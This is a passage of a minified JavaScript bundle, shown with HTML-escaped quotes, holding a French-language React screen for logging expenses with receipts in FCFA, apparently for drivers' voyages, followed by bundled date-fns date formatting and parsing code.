                      `,children:[a.jsx(xe,{className:`h-8 w-8 ${_e?&quot;&quot;:&quot;text-muted-foreground&quot;}`}),a.jsx(&quot;span&quot;,{className:`text-xs font-medium ${_e?&quot;&quot;:&quot;text-muted-foreground&quot;}`,children:de.label})]},de.value)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;amount&quot;,children:&quot;Montant (FCFA)&quot;}),a.jsx(Xe,{id:&quot;amount&quot;,type:&quot;number&quot;,placeholder:&quot;Ex: 15000&quot;,value:p,onChange:de=&gt;A(de.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;description&quot;,children:&quot;Description (optionnel)&quot;}),a.jsx(Xe,{id:&quot;description&quot;,type:&quot;text&quot;,placeholder:&quot;Ex: Déjeuner équipage&quot;,value:y,onChange:de=&gt;v(de.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;ticket&quot;,children:[&quot;Justificatif &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),_?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:_,alt:&quot;Justificatif&quot;,className:&quot;rounded-lg w-full h-auto max-h-64 object-cover&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;{S(null),C(null),X.current&amp;&amp;(X.current.value=&quot;&quot;),W.current&amp;&amp;(W.current.value=&quot;&quot;)},children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;j(!0),className:&quot;mt-2 w-full&quot;,children:&quot;Changer la photo&quot;})]}):a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;j(!0),className:&quot;w-full&quot;,children:[a.jsx(c1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter une photo&quot;]})]})]}),a.jsxs(dn,{value:&quot;history&quot;,className:&quot;mt-4&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold mb-4&quot;,children:&quot;Historique&quot;}),J?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):G.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center py-8&quot;,children:&quot;Aucune dépense enregistrée&quot;}):a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:G.map(de=&gt;{const xe=S7.find(_e=&gt;_e.value===de.category)?.label||de.category;return a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 border rounded-lg&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 w-20 h-20 border rounded-lg flex items-center justify-center bg-muted cursor-pointer hover:opacity-80 transition-opacity&quot;,onClick:()=&gt;{const _e=de.receiptUrl||(de.receiptUrl?Sr(de.receiptUrl)||de.receiptUrl:null);_e&amp;&amp;n&amp;&amp;n(_e)},children:de.receiptUrl||de.receiptUrl?a.jsx(OS,{src:((de.isOffline||de.isOffline)&amp;&amp;(de.receiptUrl||de.receiptUrl)?.startsWith(&quot;data:&quot;),de.receiptUrl||de.receiptUrl),alt:&quot;Justificatif&quot;,className:&quot;w-full h-full object-cover rounded-lg&quot;}):a.jsx(c1,{className:&quot;h-8 w-8 text-muted-foreground&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-1&quot;,children:[a.jsx(l1,{className:&quot;h-4 w-4 text-orange-600&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:[xe,de.amountFcfa&amp;&amp;` - ${de.amountFcfa.toLocaleString(&quot;fr-FR&quot;)} FCFA`]}),de.isOffline&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:&quot;En attente&quot;})]}),de.description&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:de.description}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:new Date(de.expenseAt||de.expenseAt||de.createdAt||de.createdAt).toLocaleString(&quot;fr-FR&quot;,{day:&quot;2-digit&quot;,month:&quot;2-digit&quot;,year:&quot;numeric&quot;,hour:&quot;2-digit&quot;,minute:&quot;2-digit&quot;})})]}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;h-8 w-8 text-destructive hover:text-destructive hover:bg-destructive/10&quot;,onClick:_e=&gt;{_e.stopPropagation(),M(de.id),R(!0)},disabled:ee.isPending,children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]},de.id)})})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-3 mt-6 pt-4 border-t&quot;,children:[a.jsxs(ge,{variant:&quot;outline&quot;,onClick:ue,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Nn,{className:&quot;h-4 w-4&quot;}),&quot;REVENIR&quot;]}),a.jsxs(ge,{onClick:V,className:&quot;flex items-center gap-2 bg-orange-600 hover:bg-orange-700 text-white&quot;,disabled:!u||!p||!E||q.isPending||O,children:[q.isPending||O?a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}):a.jsx(U0,{className:&quot;h-4 w-4&quot;}),&quot;ENREGISTRER&quot;]})]})]}),a.jsx(du,{open:Q,onOpenChange:R,children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Supprimer cette dépense ?&quot;}),a.jsx(Cc,{children:&quot;Cette action est irréversible. La dépense sera définitivement supprimée.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:()=&gt;{T!==null&amp;&amp;ee.mutate(T)},className:&quot;bg-destructive text-destructive-foreground hover:bg-destructive/90&quot;,disabled:ee.isPending,children:ee.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Suppression...&quot;]}):&quot;Supprimer&quot;})]})]})})]})}function Xfe(e=!0){return cr({queryKey:[&quot;/api/driver/completed-voyages&quot;],queryFn:async()=&gt;await gz(),enabled:e,staleTime:300*1e3,retry:!1})}const b$=6048e5,ehe=864e5,w$=6e4,E$=36e5,eb=43200,B7=1440,k7=Symbol.for(&quot;constructDateFrom&quot;);function Wd(e,t){return typeof e==&quot;function&quot;?e(t):e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;k7 in e?e[k7](t):e instanceof Date?new e.constructor(t):new Date(t)}function Xs(e,t){return Wd(t||e,e)}let the={};function yy(){return the}function yv(e,t){const r=yy(),n=t?.weekStartsOn??t?.locale?.options?.weekStartsOn??r.weekStartsOn??r.locale?.options?.weekStartsOn??0,i=Xs(e,t?.in),s=i.getDay(),o=(s&lt;n?7:0)+s-n;return i.setDate(i.getDate()-o),i.setHours(0,0,0,0),i}function hw(e,t){return yv(e,{...t,weekStartsOn:1})}function C$(e,t){const r=Xs(e,t?.in),n=r.getFullYear(),i=Wd(r,0);i.setFullYear(n+1,0,4),i.setHours(0,0,0,0);const s=hw(i),o=Wd(r,0);o.setFullYear(n,0,4),o.setHours(0,0,0,0);const l=hw(o);return r.getTime()&gt;=s.getTime()?n+1:r.getTime()&gt;=l.getTime()?n:n-1}function mw(e){const t=Xs(e),r=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate(),t.getHours(),t.getMinutes(),t.getSeconds(),t.getMilliseconds()));return r.setUTCFullYear(t.getFullYear()),+e-+r}function W1(e,...t){const r=Wd.bind(null,e||t.find(n=&gt;typeof n==&quot;object&quot;));return t.map(r)}function pw(e,t){const r=Xs(e,t?.in);return r.setHours(0,0,0,0),r}function I$(e,t,r){const[n,i]=W1(r?.in,e,t),s=pw(n),o=pw(i),l=+s-mw(s),c=+o-mw(o);return Math.round((l-c)/ehe)}function rhe(e,t){const r=C$(e,t),n=Wd(e,0);return n.setFullYear(r,0,4),n.setHours(0,0,0,0),hw(n)}function Zb(e,t){const r=+Xs(e)-+Xs(t);return r&lt;0?-1:r&gt;0?1:r}function nhe(e){return Wd(e,Date.now())}function xN(e,t,r){const[n,i]=W1(r?.in,e,t);return+pw(n)==+pw(i)}function ihe(e){return e instanceof Date||typeof e==&quot;object&quot;&amp;&amp;Object.prototype.toString.call(e)===&quot;[object Date]&quot;}function ahe(e){return!(!ihe(e)&amp;&amp;typeof e!=&quot;number&quot;||isNaN(+Xs(e)))}function she(e,t,r){const[n,i]=W1(r?.in,e,t),s=n.getFullYear()-i.getFullYear(),o=n.getMonth()-i.getMonth();return s*12+o}function ohe(e,t,r){const[n,i]=W1(r?.in,e,t),s=_7(n,i),o=Math.abs(I$(n,i));n.setDate(n.getDate()-s*o);const l=+(_7(n,i)===-s),c=s*(o-l);return c===0?0:c}function _7(e,t){const r=e.getFullYear()-t.getFullYear()||e.getMonth()-t.getMonth()||e.getDate()-t.getDate()||e.getHours()-t.getHours()||e.getMinutes()-t.getMinutes()||e.getSeconds()-t.getSeconds()||e.getMilliseconds()-t.getMilliseconds();return r&lt;0?-1:r&gt;0?1:r}function lhe(e){return t=&gt;{const n=(e?Math[e]:Math.trunc)(t);return n===0?0:n}}function che(e,t){return+Xs(e)-+Xs(t)}function uhe(e,t){const r=Xs(e,t?.in);return r.setHours(23,59,59,999),r}function dhe(e,t){const r=Xs(e,t?.in),n=r.getMonth();return r.setFullYear(r.getFullYear(),n+1,0),r.setHours(23,59,59,999),r}function fhe(e,t){const r=Xs(e,t?.in);return+uhe(r,t)==+dhe(r,t)}function hhe(e,t,r){const[n,i,s]=W1(r?.in,e,e,t),o=Zb(i,s),l=Math.abs(she(i,s));if(l&lt;1)return 0;i.getMonth()===1&amp;&amp;i.getDate()&gt;27&amp;&amp;i.setDate(30),i.setMonth(i.getMonth()-o*l);let c=Zb(i,s)===-o;fhe(n)&amp;&amp;l===1&amp;&amp;Zb(n,s)===1&amp;&amp;(c=!1);const d=o*(l-+c);return d===0?0:d}function mhe(e,t,r){const n=che(e,t)/1e3;return lhe(r?.roundingMethod)(n)}function phe(e,t){const r=Xs(e,t?.in);return r.setFullYear(r.getFullYear(),0,1),r.setHours(0,0,0,0),r}const ghe={lessThanXSeconds:{one:&quot;less than a second&quot;,other:&quot;less than {{count}} seconds&quot;},xSeconds:{one:&quot;1 second&quot;,other:&quot;{{count}} seconds&quot;},halfAMinute:&quot;half a minute&quot;,lessThanXMinutes:{one:&quot;less than a minute&quot;,other:&quot;less than {{count}} minutes&quot;},xMinutes:{one:&quot;1 minute&quot;,other:&quot;{{count}} minutes&quot;},aboutXHours:{one:&quot;about 1 hour&quot;,other:&quot;about {{count}} hours&quot;},xHours:{one:&quot;1 hour&quot;,other:&quot;{{count}} hours&quot;},xDays:{one:&quot;1 day&quot;,other:&quot;{{count}} days&quot;},aboutXWeeks:{one:&quot;about 1 week&quot;,other:&quot;about {{count}} weeks&quot;},xWeeks:{one:&quot;1 week&quot;,other:&quot;{{count}} weeks&quot;},aboutXMonths:{one:&quot;about 1 month&quot;,other:&quot;about {{count}} months&quot;},xMonths:{one:&quot;1 month&quot;,other:&quot;{{count}} months&quot;},aboutXYears:{one:&quot;about 1 year&quot;,other:&quot;about {{count}} years&quot;},xYears:{one:&quot;1 year&quot;,other:&quot;{{count}} years&quot;},overXYears:{one:&quot;over 1 year&quot;,other:&quot;over {{count}} years&quot;},almostXYears:{one:&quot;almost 1 year&quot;,other:&quot;almost {{count}} years&quot;}},Ahe=(e,t,r)=&gt;{let n;const i=ghe[e];return typeof i==&quot;string&quot;?n=i:t===1?n=i.one:n=i.other.replace(&quot;{{count}}&quot;,t.toString()),r?.addSuffix?r.comparison&amp;&amp;r.comparison&gt;0?&quot;in &quot;+n:n+&quot; ago&quot;:n};function KA(e){return(t={})=&gt;{const r=t.width?String(t.width):e.defaultWidth;return e.formats[r]||e.formats[e.defaultWidth]}}const xhe={full:&quot;EEEE, MMMM do, y&quot;,long:&quot;MMMM do, y&quot;,medium:&quot;MMM d, y&quot;,short:&quot;MM/dd/yyyy&quot;},vhe={full:&quot;h:mm:ss a zzzz&quot;,long:&quot;h:mm:ss a z&quot;,medium:&quot;h:mm:ss a&quot;,short:&quot;h:mm a&quot;},yhe={full:&quot;{{date}} &#039;at&#039; {{time}}&quot;,long:&quot;{{date}} &#039;at&#039; {{time}}&quot;,medium:&quot;{{date}}, {{time}}&quot;,short:&quot;{{date}}, {{time}}&quot;},bhe={date:KA({formats:xhe,defaultWidth:&quot;full&quot;}),time:KA({formats:vhe,defaultWidth:&quot;full&quot;}),dateTime:KA({formats:yhe,defaultWidth:&quot;full&quot;})},whe={lastWeek:&quot;&#039;last&#039; eeee &#039;at&#039; p&quot;,yesterday:&quot;&#039;yesterday at&#039; p&quot;,today:&quot;&#039;today at&#039; p&quot;,tomorrow:&quot;&#039;tomorrow at&#039; p&quot;,nextWeek:&quot;eeee &#039;at&#039; p&quot;,other:&quot;P&quot;},Ehe=(e,t,r,n)=&gt;whe[e];function Bd(e){return(t,r)=&gt;{const n=r?.context?String(r.context):&quot;standalone&quot;;let i;if(n===&quot;formatting&quot;&amp;&amp;e.formattingValues){const o=e.defaultFormattingWidth||e.defaultWidth,l=r?.width?String(r.width):o;i=e.formattingValues[l]||e.formattingValues[o]}else{const o=e.defaultWidth,l=r?.width?String(r.width):e.defaultWidth;i=e.values[l]||e.values[o]}const s=e.argumentCallback?e.argumentCallback(t):t;return i[s]}}const Che={narrow:[&quot;B&quot;,&quot;A&quot;],abbreviated:[&quot;BC&quot;,&quot;AD&quot;],wide:[&quot;Before Christ&quot;,&quot;Anno Domini&quot;]},Ihe={narrow:[&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;],abbreviated:[&quot;Q1&quot;,&quot;Q2&quot;,&quot;Q3&quot;,&quot;Q4&quot;],wide:[&quot;1st quarter&quot;,&quot;2nd quarter&quot;,&quot;3rd quarter&quot;,&quot;4th quarter&quot;]},jhe={narrow:[&quot;J&quot;,&quot;F&quot;,&quot;M&quot;,&quot;A&quot;,&quot;M&quot;,&quot;J&quot;,&quot;J&quot;,&quot;A&quot;,&quot;S&quot;,&quot;O&quot;,&quot;N&quot;,&quot;D&quot;],abbreviated:[&quot;Jan&quot;,&quot;Feb&quot;,&quot;Mar&quot;,&quot;Apr&quot;,&quot;May&quot;,&quot;Jun&quot;,&quot;Jul&quot;,&quot;Aug&quot;,&quot;Sep&quot;,&quot;Oct&quot;,&quot;Nov&quot;,&quot;Dec&quot;],wide:[&quot;January&quot;,&quot;February&quot;,&quot;March&quot;,&quot;April&quot;,&quot;May&quot;,&quot;June&quot;,&quot;July&quot;,&quot;August&quot;,&quot;September&quot;,&quot;October&quot;,&quot;November&quot;,&quot;December&quot;]},Nhe={narrow:[&quot;S&quot;,&quot;M&quot;,&quot;T&quot;,&quot;W&quot;,&quot;T&quot;,&quot;F&quot;,&quot;S&quot;],short:[&quot;Su&quot;,&quot;Mo&quot;,&quot;Tu&quot;,&quot;We&quot;,&quot;Th&quot;,&quot;Fr&quot;,&quot;Sa&quot;],abbreviated:[&quot;Sun&quot;,&quot;Mon&quot;,&quot;Tue&quot;,&quot;Wed&quot;,&quot;Thu&quot;,&quot;Fri&quot;,&quot;Sat&quot;],wide:[&quot;Sunday&quot;,&quot;Monday&quot;,&quot;Tuesday&quot;,&quot;Wednesday&quot;,&quot;Thursday&quot;,&quot;Friday&quot;,&quot;Saturday&quot;]},She={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;}},Bhe={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;}},khe=(e,t)=&gt;{const r=Number(e),n=r%100;if(n&gt;20||n&lt;10)switch(n%10){case 1:return r+&quot;st&quot;;case 2:return r+&quot;nd&quot;;case 3:return r+&quot;rd&quot;}return r+&quot;th&quot;},_he={ordinalNumber:khe,era:Bd({values:Che,defaultWidth:&quot;wide&quot;}),quarter:Bd({values:Ihe,defaultWidth:&quot;wide&quot;,argumentCallback:e=&gt;e-1}),month:Bd({values:jhe,defaultWidth:&quot;wide&quot;}),day:Bd({values:Nhe,defaultWidth:&quot;wide&quot;}),dayPeriod:Bd({values:She,defaultWidth:&quot;wide&quot;,formattingValues:Bhe,defaultFormattingWidth:&quot;wide&quot;})};function kd(e){return(t,r={})=&gt;{const n=r.width,i=n&amp;&amp;e.matchPatterns[n]||e.matchPatterns[e.defaultMatchWidth],s=t.match(i);if(!s)return null;const o=s[0],l=n&amp;&amp;e.parsePatterns[n]||e.parsePatterns[e.defaultParseWidth],c=Array.isArray(l)?The(l,h=&gt;h.test(o)):Dhe(l,h=&gt;h.test(o));let d;d=e.valueCallback?e.valueCallback(c):c,d=r.valueCallback?r.valueCallback(d):d;const u=t.slice(o.length);return{value:d,rest:u}}}function Dhe(e,t){for(const r in e)if(Object.prototype.hasOwnProperty.call(e,r)&amp;&amp;t(e[r]))return r}function The(e,t){for(let r=0;r&lt;e.length;r++)if(t(e[r]))return r}function j$(e){return(t,r={})=&gt;{const n=t.match(e.matchPattern);if(!n)return null;const i=n[0],s=t.match(e.parsePattern);if(!s)return null;let o=e.valueCallback?e.valueCallback(s[0]):s[0];o=r.valueCallback?r.valueCallback(o):o;const l=t.slice(i.length);return{value:o,rest:l}}}const Rhe=/^(\d+)(th|st|nd|rd)?/i,Phe=/\d+/i,Qhe={narrow:/^(b|a)/i,abbreviated:/^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,wide:/^(before christ|before common era|anno domini|common era)/i},Fhe={any:[/^b/i,/^(a|c)/i]},Ohe={narrow:/^[1234]/i,abbreviated:/^q[1234]/i,wide:/^[1234](th|st|nd|rd)? quarter/i},Lhe={any:[/1/i,/2/i,/3/i,/4/i]},Mhe={narrow:/^[jfmasond]/i,abbreviated:/^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,wide:/^(january|february|march|april|may|june|july|august|september|october|november|december)/i},Uhe={narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^ap/i,/^may/i,/^jun/i,/^jul/i,/^au/i,/^s/i,/^o/i,/^n/i,/^d/i]},zhe={narrow:/^[smtwf]/i,short:/^(su|mo|tu|we|th|fr|sa)/i,abbreviated:/^(sun|mon|tue|wed|thu|fri|sat)/i,wide:/^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i},$he={narrow:[/^s/i,/^m/i,/^t/i,/^w/i,/^t/i,/^f/i,/^s/i],any:[/^su/i,/^m/i,/^tu/i,/^w/i,/^th/i,/^f/i,/^sa/i]},Hhe={narrow:/^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,any:/^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i},qhe={any:{am:/^a/i,pm:/^p/i,midnight:/^mi/i,noon:/^no/i,morning:/morning/i,afternoon:/afternoon/i,evening:/evening/i,night:/night/i}},Ghe={ordinalNumber:j$({matchPattern:Rhe,parsePattern:Phe,valueCallback:e=&gt;parseInt(e,10)}),era:kd({matchPatterns:Qhe,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Fhe,defaultParseWidth:&quot;any&quot;}),quarter:kd({matchPatterns:Ohe,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Lhe,defaultParseWidth:&quot;any&quot;,valueCallback:e=&gt;e+1}),month:kd({matchPatterns:Mhe,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Uhe,defaultParseWidth:&quot;any&quot;}),day:kd({matchPatterns:zhe,defaultMatchWidth:&quot;wide&quot;,parsePatterns:$he,defaultParseWidth:&quot;any&quot;}),dayPeriod:kd({matchPatterns:Hhe,defaultMatchWidth:&quot;any&quot;,parsePatterns:qhe,defaultParseWidth:&quot;any&quot;})},N$={code:&quot;en-US&quot;,formatDistance:Ahe,formatLong:bhe,formatRelative:Ehe,localize:_he,match:Ghe,options:{weekStartsOn:0,firstWeekContainsDate:1}};function Vhe(e,t){const r=Xs(e,t?.in);return I$(r,phe(r))+1}function Whe(e,t){const r=Xs(e,t?.in),n=+hw(r)-+rhe(r);return Math.round(n/b$)+1}function S$(e,t){const r=Xs(e,t?.in),n=r.getFullYear(),i=yy(),s=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??i.firstWeekContainsDate??i.locale?.options?.firstWeekContainsDate??1,o=Wd(t?.in||e,0);o.setFullYear(n+1,0,s),o.setHours(0,0,0,0);const l=yv(o,t),c=Wd(t?.in||e,0);c.setFullYear(n,0,s),c.setHours(0,0,0,0);const d=yv(c,t);return+r&gt;=+l?n+1:+r&gt;=+d?n:n-1}function Khe(e,t){const r=yy(),n=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??r.firstWeekContainsDate??r.locale?.options?.firstWeekContainsDate??1,i=S$(e,t),s=Wd(t?.in||e,0);return s.setFullYear(i,0,n),s.setHours(0,0,0,0),yv(s,t)}function Yhe(e,t){const r=Xs(e,t?.in),n=+yv(r,t)-+Khe(r,t);return Math.round(n/b$)+1}function Ki(e,t){const r=e&lt;0?&quot;-&quot;:&quot;&quot;,n=Math.abs(e).toString().padStart(t,&quot;0&quot;);return r+n}const Wh={y(e,t){const r=e.getFullYear(),n=r&gt;0?r:1-r;return Ki(t===&quot;yy&quot;?n%100:n,t.length)},M(e,t){const r=e.getMonth();return t===&quot;M&quot;?String(r+1):Ki(r+1,2)},d(e,t){return Ki(e.getDate(),t.length)},a(e,t){const r=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return r.toUpperCase();case&quot;aaa&quot;:return r;case&quot;aaaaa&quot;:return r[0];default:return r===&quot;am&quot;?&quot;a.m.&quot;:&quot;p.m.&quot;}},h(e,t){return Ki(e.getHours()%12||12,t.length)},H(e,t){return Ki(e.getHours(),t.length)},m(e,t){return Ki(e.getMinutes(),t.length)},s(e,t){return Ki(e.getSeconds(),t.length)},S(e,t){const r=t.length,n=e.getMilliseconds(),i=Math.trunc(n*Math.pow(10,r-3));return Ki(i,t.length)}},EA={midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},D7={G:function(e,t,r){const n=e.getFullYear()&gt;0?1:0;switch(t){case&quot;G&quot;:case&quot;GG&quot;:case&quot;GGG&quot;:return r.era(n,{width:&quot;abbreviated&quot;});case&quot;GGGGG&quot;:return r.era(n,{width:&quot;narrow&quot;});default:return r.era(n,{width:&quot;wide&quot;})}},y:function(e,t,r){if(t===&quot;yo&quot;){const n=e.getFullYear(),i=n&gt;0?n:1-n;return r.ordinalNumber(i,{unit:&quot;year&quot;})}return Wh.y(e,t)},Y:function(e,t,r,n){const i=S$(e,n),s=i&gt;0?i:1-i;if(t===&quot;YY&quot;){const o=s%100;return Ki(o,2)}return t===&quot;Yo&quot;?r.ordinalNumber(s,{unit:&quot;year&quot;}):Ki(s,t.length)},R:function(e,t){const r=C$(e);return Ki(r,t.length)},u:function(e,t){const r=e.getFullYear();return Ki(r,t.length)},Q:function(e,t,r){const n=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;Q&quot;:return String(n);case&quot;QQ&quot;:return Ki(n,2);case&quot;Qo&quot;:return r.ordinalNumber(n,{unit:&quot;quarter&quot;});case&quot;QQQ&quot;:return r.quarter(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;QQQQQ&quot;:return r.quarter(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.quarter(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},q:function(e,t,r){const n=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;q&quot;:return String(n);case&quot;qq&quot;:return Ki(n,2);case&quot;qo&quot;:return r.ordinalNumber(n,{unit:&quot;quarter&quot;});case&quot;qqq&quot;:return r.quarter(n,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;qqqqq&quot;:return r.quarter(n,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return r.quarter(n,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},M:function(e,t,r){const n=e.getMonth();switch(t){case&quot;M&quot;:case&quot;MM&quot;:return Wh.M(e,t);case&quot;Mo&quot;:return r.ordinalNumber(n+1,{unit:&quot;month&quot;});case&quot;MMM&quot;:return r.month(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;MMMMM&quot;:return r.month(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.month(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},L:function(e,t,r){const n=e.getMonth();switch(t){case&quot;L&quot;:return String(n+1);case&quot;LL&quot;:return Ki(n+1,2);case&quot;Lo&quot;:return r.ordinalNumber(n+1,{unit:&quot;month&quot;});case&quot;LLL&quot;:return r.month(n,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;LLLLL&quot;:return r.month(n,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return r.month(n,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},w:function(e,t,r,n){const i=Yhe(e,n);return t===&quot;wo&quot;?r.ordinalNumber(i,{unit:&quot;week&quot;}):Ki(i,t.length)},I:function(e,t,r){const n=Whe(e);return t===&quot;Io&quot;?r.ordinalNumber(n,{unit:&quot;week&quot;}):Ki(n,t.length)},d:function(e,t,r){return t===&quot;do&quot;?r.ordinalNumber(e.getDate(),{unit:&quot;date&quot;}):Wh.d(e,t)},D:function(e,t,r){const n=Vhe(e);return t===&quot;Do&quot;?r.ordinalNumber(n,{unit:&quot;dayOfYear&quot;}):Ki(n,t.length)},E:function(e,t,r){const n=e.getDay();switch(t){case&quot;E&quot;:case&quot;EE&quot;:case&quot;EEE&quot;:return r.day(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;EEEEE&quot;:return r.day(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;EEEEEE&quot;:return r.day(n,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},e:function(e,t,r,n){const i=e.getDay(),s=(i-n.weekStartsOn+8)%7||7;switch(t){case&quot;e&quot;:return String(s);case&quot;ee&quot;:return Ki(s,2);case&quot;eo&quot;:return r.ordinalNumber(s,{unit:&quot;day&quot;});case&quot;eee&quot;:return r.day(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;eeeee&quot;:return r.day(i,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;eeeeee&quot;:return r.day(i,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(i,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},c:function(e,t,r,n){const i=e.getDay(),s=(i-n.weekStartsOn+8)%7||7;switch(t){case&quot;c&quot;:return String(s);case&quot;cc&quot;:return Ki(s,t.length);case&quot;co&quot;:return r.ordinalNumber(s,{unit:&quot;day&quot;});case&quot;ccc&quot;:return r.day(i,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;ccccc&quot;:return r.day(i,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});case&quot;cccccc&quot;:return r.day(i,{width:&quot;short&quot;,context:&quot;standalone&quot;});default:return r.day(i,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},i:function(e,t,r){const n=e.getDay(),i=n===0?7:n;switch(t){case&quot;i&quot;:return String(i);case&quot;ii&quot;:return Ki(i,t.length);case&quot;io&quot;:return r.ordinalNumber(i,{unit:&quot;day&quot;});case&quot;iii&quot;:return 